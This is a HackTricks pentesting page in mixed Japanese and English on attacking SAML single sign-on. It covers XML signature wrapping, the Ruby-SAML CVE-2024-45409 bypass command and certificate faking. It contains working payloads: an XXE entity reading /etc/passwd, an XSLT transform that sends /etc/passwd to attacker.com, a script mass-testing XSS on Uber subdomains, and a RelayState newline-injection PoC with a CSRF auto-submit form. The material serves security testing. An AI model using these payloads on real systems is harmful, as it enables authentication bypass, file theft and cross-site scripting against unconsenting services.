SAML 攻撃
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
ツール
SAMLExtractor: URL または URL のリストを受け取り、SAML consume URL を出力するツール。
XML ラウンドトリップ
XML では、署名された部分がメモリに保存され、その後エンコード/デコードが行われて署名が検証されます。本来そのエンコード/デコードはデータを変更すべきではありませんが、このような場合、検査されるデータと元のデータが同一でない可能性があります。
例えば、次のコードを確認してください:
require 'rexml/document'
doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]]>
</X>
XML
puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name
REXML 3.2.4 以前でこのプログラムを実行すると、代わりに次の出力になります:
First child in original doc: Y
First child after round-trip: Z
以下は、上のプログラムで REXML が元の XML ドキュメントをどのように見ていたかです:
.png)
そしてこちらは、一度パースとシリアライズを経た後に REXML がどのように見たかです:
.png)
この脆弱性とその悪用方法の詳細については以下を参照してください:
- https://mattermost.com/blog/securing-xml-implementations-across-the-web/
- https://joonas.fi/2021/08/saml-is-insecure-by-design/
XML Signature Wrapping Attacks
In XML Signature Wrapping attacks (XSW), adversaries exploit a vulnerability arising when XML documents are processed through two distinct phases: signature validation and function invocation. These attacks involve altering the XML document structure. Specifically, the attacker injects forged elements that do not compromise the XML Signature’s validity. This manipulation aims to create a discrepancy between the elements analyzed by the application logic and those checked by the signature verification module. As a result, while the XML Signature remains technically valid and passes verification, the application logic processes the fraudulent elements. Consequently, the attacker effectively bypasses the XML Signature’s integrity protection and origin authentication, enabling the injection of arbitrary content without detection.
The following attacks ara based on this blog post and this paper. So check those for further details.
XSW #1
- Strategy: A new root element containing the signature is added.
- Implication: The validator may get confused between the legitimate “Response -> Assertion -> Subject” and the attacker’s “evil new Response -> Assertion -> Subject”, leading to data integrity issues.
.png)
XSW #2
- Difference from XSW #1: Utilizes a detached signature instead of an enveloping signature.
- Implication: The “evil” structure, similar to XSW #1, aims to deceive the business logic post integrity check.
.png)
XSW #3
- Strategy: An evil Assertion is crafted at the same hierarchical level as the original assertion.
- Implication: Intends to confuse the business logic into using the malicious data.
.png)
XSW #4
- Difference from XSW #3: The original Assertion becomes a child of the duplicated (evil) Assertion.
- Implication: Similar to XSW #3 but alters the XML structure more aggressively.
.png)
XSW #5
- Unique Aspect: Neither the Signature nor the original Assertion adhere to standard configurations (enveloped/enveloping/detached).
- Implication: The copied Assertion envelopes the Signature, modifying the expected document structure.
.png)
XSW #6
- Strategy: Similar location insertion as XSW #4 and #5, but with a twist.
- Implication: The copied Assertion envelopes the Signature, which then envelopes the original Assertion, creating a nested deceptive structure.
.png)
XSW #7
- Strategy: An Extensions element is inserted with the copied Assertion as a child.
- Implication: This exploits the less restrictive schema of the Extensions element to bypass schema validation countermeasures, especially in libraries like OpenSAML.
.png)
XSW #8
- Difference from XSW #7: Utilizes another less restrictive XML element for a variant of the attack.
- Implication: The original Assertion becomes a child of the less restrictive element, reversing the structure used in XSW #7.
.png)
Tool
You can use the Burp extension SAML Raider to parse the request, apply any XSW attack you choose, and launch it.
Ruby-SAML signature verification bypass (CVE-2024-45409)
影響: Service Provider が脆弱な Ruby-SAML(例: GitLab SAML SSO)を使用している場合、攻撃者が any IdP-signed SAMLResponse を入手すれば、forge a new assertion して任意のユーザーとして認証できる可能性があります。
概要フロー (signature-wrapping style bypass):
- SSO POST(Burp またはブラウザの devtools)で legitimate SAMLResponse をキャプチャする。ターゲット SP に対しては任意の IdP-signed SAMLResponse があれば十分です。
- 伝送エンコーディングをデコードして raw XML に戻す(典型的な順序): URL decode → Base64 decode → raw inflate.
- PoC(例えば Synacktiv のスクリプト)を使い、IDs/NameID/conditions をパッチし、signature references/digests を書き換えて検証が通る一方で SP が攻撃者制御の assertion フィールドを消費するようにする。
- パッチ済み XML を再エンコード(raw deflate → Base64 → URL encode)して SAML callback endpoint にリプレイする。成功すれば SP は選択したユーザーとしてログインさせる。
Example using the Synacktiv PoC (input is the captured SAMLResponse blob):
python3 CVE-2024-45409.py -r response.url_base64 -n admin@example.com -o response_patched.url_base64
XXE
If you don’t know which kind of attacks are XXE, please read the following page:
XXE - XEE - XML External Entity
SAML Responses は deflated and base64 encoded XML documents であり、XML External Entity (XXE) attacks に対して脆弱になる可能性があります。SAML Response の XML 構造を操作することで、攻撃者は XXE の脆弱性を悪用しようと試みることができます。以下はそのような攻撃を視覚化した例です:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]
ツール
Burp の拡張機能SAML Raiderを使用して、SAMLリクエストからPOCを生成し、可能性のあるXXE脆弱性やSAML脆弱性をテストできます。
この講演も参照してください: https://www.youtube.com/watch?v=WHn-6xHL7mI
XSLT via SAML
XSLTの詳細については次を参照してください:
XSLT Server Side Injection (Extensible Stylesheet Language Transformations)
Extensible Stylesheet Language Transformations (XSLT) は、XMLドキュメントをHTML、JSON、PDFなどのさまざまな形式に変換するために使用できます。重要なのは、XSLT変換はデジタル署名の検証より前に実行されるという点です。つまり、有効な署名がなくても攻撃が成功する可能性があり、自己署名または無効な署名でも処理を進めることが可能です。
ここではこの種の脆弱性を確認するためのPOCが見つかります。セクション冒頭で言及した hacktricks ページには payloads が掲載されています。
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>
ツール
Burp 拡張機能 SAML Raider を使って、SAML リクエストから XSLT の脆弱性を検証するための POC を生成することもできます。
こちらのトークも参照してください: https://www.youtube.com/watch?v=WHn-6xHL7mI
XML Signature Exclusion
The XML Signature Exclusion は、Signature 要素が存在しない場合の SAML 実装の挙動を観察する手法です。Signature 要素が欠落していると、署名検証が行われない場合があり、脆弱となります。通常署名で検証される内容を改変してテストすることで確認できます。
.png)
ツール
Burp 拡張機能 SAML Raider を使うこともできます。SAML Response をインターセプトして、Remove Signatures をクリックします。これにより すべての Signature 要素が削除されます。
署名が削除された状態でリクエストをターゲットに進めます。Service が Signature を要求していない場合…
Certificate Faking
Certificate Faking
Certificate Faking は、Service Provider (SP) が SAML Message が信頼された Identity Provider (IdP) によって署名されていることを適切に検証しているか をテストする手法です。これは *self-signed certificate を用いて SAML Response や Assertion に署名し、SP と IdP 間の信頼検証プロセスを評価することで行います。
How to Conduct Certificate Faking
以下は SAML Raider Burp 拡張機能を使った手順です:
- SAML Response をインターセプトします。
- レスポンスに署名が含まれている場合は、
Send Certificate to SAML Raider Certsボタンで証明書を SAML Raider Certs に送ります。 - SAML Raider Certificates タブでインポートした証明書を選択し、
Save and Self-Signをクリックして元の証明書の self-signed クローンを作成します。 - Burp の Proxy でインターセプトしたリクエストに戻り、XML Signature ドロップダウンから新しい self-signed 証明書を選択します。
Remove Signaturesボタンで既存の署名をすべて削除します。- 必要に応じて
(Re-)Sign Messageまたは(Re-)Sign Assertionボタンでメッセージまたはアサーションに新しい証明書で署名します。 - 署名済みメッセージを転送します。認証が成功する場合、SP が self-signed 証明書で署名されたメッセージを受け入れていることになり、SAML メッセージの検証プロセスに脆弱性がある可能性を示します。
Token Recipient Confusion / Service Provider Target Confusion
Token Recipient Confusion と Service Provider Target Confusion は、Service Provider がレスポンスの想定受信者を正しく検証しているか を確認するものです。要するに、ある認証レスポンスが別のプロバイダ向けに発行されたものであれば、Service Provider はそれを拒否するべきです。ここで重要なのは、SAML Response 内の SubjectConfirmationData 要素にある Recipient フィールドです。このフィールドは Assertion を送信すべき URL を指定します。実際の受信者が想定される Service Provider と一致しない場合、Assertion は無効とされるべきです。
How It Works
SAML Token Recipient Confusion (SAML-TRC) 攻撃が成立するためには、いくつかの条件が必要です。まず、ある Service Provider(SP-Legit)上に有効なアカウントが存在すること。次に、攻撃対象の Service Provider(SP-Target)が SP-Legit と同じ Identity Provider を受け入れていることが必要です。
条件が満たされると攻撃は比較的単純です。共有の Identity Provider を通じて SP-Legit で正規のセッションを開始します。Identity Provider から SP-Legit 宛てに送られる SAML Response をインターセプトします。このインターセプトした SAML Response(元は SP-Legit 向け)を SP-Target に転用します。SP-Target がその Assertion を受け入れ、SP-Legit と同じアカウント名でアクセスを許可した場合、攻撃は成功です。
# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.
Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.
Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"
XSS in Logout 機能
元の調査はこちらのリンクから参照できます。
directory brute forcing の過程で、次の場所に logout ページが発見されました:
https://carbon-prototype.uberinternal.com:443/oidauth/logout
このリンクにアクセスしたところ、次の場所にリダイレクトされました:
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
これは base パラメータが URL を受け取ることを明らかにしました。これを踏まえ、URL を javascript:alert(123); に置き換えて XSS (Cross-Site Scripting) 攻撃を仕掛けようという発想が生まれました。
大規模な悪用
The SAMLExtractor tool was used to analyze subdomains of uberinternal.com for domains utilizing the same library. Subsequently, a script was developed to target the oidauth/prompt page. This script tests for XSS (Cross-Site Scripting) by inputting data and checking if it’s reflected in the output. In cases where the input is indeed reflected, the script flags the page as vulnerable.
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()
with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
RelayState-based header/body injection to rXSS
一部の SAML SSO エンドポイントは RelayState をデコードし、そのままレスポンスにサニタイズなしで反映します。改行を注入してレスポンス Content-Type を上書きできれば、ブラウザに攻撃者制御の HTML をレンダリングさせ、reflected XSS を達成できます。
- Idea: abuse response-splitting via newline injection in the reflected RelayState. See also the generic notes in CRLF injection.
- Works even when RelayState is base64-decoded server-side: supply a base64 that decodes to header/body injection.
Generalized steps:
- 改行で始まる header/body injection シーケンスを構成し、Content-Type を HTML に上書きしてから HTML/JS ペイロードを注入する。Concept:
\n
Content-Type: text/html
<svg/onload=alert(1)>
- シーケンスを URL-encode する(例):
%0AContent-Type%3A+text%2Fhtml%0A%0A%0A%3Csvg%2Fonload%3Dalert(1)%3E
- その URL エンコードされた文字列を base64 エンコードして
RelayStateに入れる。
Example base64 (from the sequence above):
DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
- 構文的に有効な
SAMLResponseと加工したRelayStateを含む POST を SSO エンドポイント(例:/cgi/logout)に送る。 - 配布は CSRF を利用: ターゲットオリジンに対してこれら両方のフィールドを含むクロスオリジンの POST を自動送信するページをホストする。
PoC against a NetScaler SSO endpoint (/cgi/logout):
POST /cgi/logout HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
SAMLResponse=[BASE64-Generic-SAML-Response]&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
CSRF 配信パターン:
<form action="https://target/cgi/logout" method="POST" id="p">
<input type="hidden" name="SAMLResponse" value="[BASE64-Generic-SAML-Response]">
<input type="hidden" name="RelayState" value="DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==">
</form>
<script>document.getElementById('p').submit()</script>
動作する理由: サーバーは RelayState をデコードし、newline injection を許す形でレスポンスに組み込むため、攻撃者がヘッダーとボディに影響を与えられます。Content-Type: text/html を強制すると、ブラウザはレスポンスボディから攻撃者が制御するHTMLをレンダリングします。
References
- https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/
- https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/
- https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/
- https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/
- Is it CitrixBleed4? Well no. Is it good? Also no. Citrix NetScaler’s Memory Leak & rXSS (CVE-2025-12101)
- https://0xdf.gitlab.io/2026/03/03/htb-barrier.html
- https://github.com/synacktiv/CVE-2024-45409
- https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-jw9c-mfg7-9rx2
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。


